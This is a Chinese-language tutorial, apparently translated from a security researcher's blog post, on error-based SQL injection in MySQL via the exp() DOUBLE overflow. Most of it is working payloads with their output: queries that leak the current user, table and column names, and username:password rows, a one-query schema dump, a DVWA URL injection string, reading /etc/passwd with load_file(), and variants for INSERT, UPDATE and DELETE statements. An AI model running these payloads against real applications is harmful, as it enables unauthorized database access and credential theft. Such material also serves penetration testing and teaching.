使用exp進(jìn)行SQL報(bào)錯(cuò)注入
0x01 前言概述
好消息好消息~作者又在MySQL中發(fā)現(xiàn)了一個(gè)Double型數(shù)據(jù)溢出。如果你想了解利用溢出來注出數(shù)據(jù),你可以讀一下作者之前發(fā)的博文:BIGINT Overflow Error based injections,drops上面也有對(duì)應(yīng)翻譯,具體見這里。當(dāng)我們拿到MySQL里的函數(shù)時(shí),作者比較感興趣的是其中的數(shù)學(xué)函數(shù),它們也應(yīng)該包含一些數(shù)據(jù)類型來保存數(shù)值。所以作者就跑去測(cè)試看哪些函數(shù)會(huì)出現(xiàn)溢出錯(cuò)誤。然后作者發(fā)現(xiàn),當(dāng)傳遞一個(gè)大于709的值時(shí),函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤。
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
在MySQL中,exp與ln和log的功能相反,簡(jiǎn)單介紹下,就是log和ln都返回以e為底數(shù)的對(duì)數(shù),見等式:


mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
指數(shù)函數(shù)為對(duì)數(shù)函數(shù)的反函數(shù),exp()即為以e為底的對(duì)數(shù)函數(shù),如等式:

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
| 15 |
+-----------------------+
1 row in set (0.00 sec)
0x02 注入
當(dāng)涉及到注入時(shí),我們使用否定查詢來造成“DOUBLE value is out of range”的錯(cuò)誤。作者之前的博文提到的,將0按位取反就會(huì)返回“18446744073709551615”,再加上函數(shù)成功執(zhí)行后返回0的緣故,我們將成功執(zhí)行的函數(shù)取反就會(huì)得到***的無符號(hào)BIGINT值。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
我們通過子查詢與按位求反,造成一個(gè)DOUBLE overflow error,并借由此注出數(shù)據(jù)。
- >`exp(~(select*from(select user())x))`
- mysql> select exp(~(select*from(select user())x));
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x03 注出數(shù)據(jù)
得到表名:
- select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
得到列名:
- select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
檢索數(shù)據(jù):
- select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x04 一蹴而就
這個(gè)查詢可以從當(dāng)前的上下文中dump出所有的tables與columns。我們也可以dump出所有的數(shù)據(jù)庫,但由于我們是通過一個(gè)錯(cuò)誤進(jìn)行提取,它會(huì)返回很少的結(jié)果。
- exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
- http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

0x05 讀取文件
你可以通過load_file()函數(shù)來讀取文件,但作者發(fā)現(xiàn)有13行的限制,該語句也可以在BIGINT overflow injections中使用。
- select exp(~(select*from(select load_file('/etc/passwd'))a));

注意,你無法寫文件,因?yàn)檫@個(gè)錯(cuò)入寫入的只是0。
- mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'
- # type C:\out.txt
- 0
0x06 Injection in Insert
按部就班就好
- mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
對(duì)于所有的insert,update和delete語句DIOS查詢也同樣可以使用。
- mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
- newdb::users::id
- newdb::users::username
- newdb::users::password' from dual)))'
0x07 Injection in Update
- mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x08 Injection in Delete
- mysql> delete from users where id='1' | exp(~(select*from(select user())x));
- ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
和前面的BIGINT注入一樣,exp注入也適用于MySQL5.5.5及以上版本。以前的版本對(duì)于此情況則是“一言不發(fā)”。
- mysql> select version();
- +---------------------+
- | version() |
- +---------------------+
- | 5.0.45-community-nt |
- +---------------------+
- 1 row in set (0.00 sec)
- mysql> select exp(710);
- +----------+
- | exp(710) |
- +----------+
- | 1.#INF |
- +----------+
- 1 row in set (0.00 sec)
- mysql> select exp(~0);
- +---------+
- | exp(~0) |
- +---------+
- | 1.#INF |
- +---------+
- 1 row in set (0.00 sec)
可能還有其他的函數(shù)會(huì)產(chǎn)生這種報(bào)錯(cuò)呦。(有待你發(fā)現(xiàn)啦:)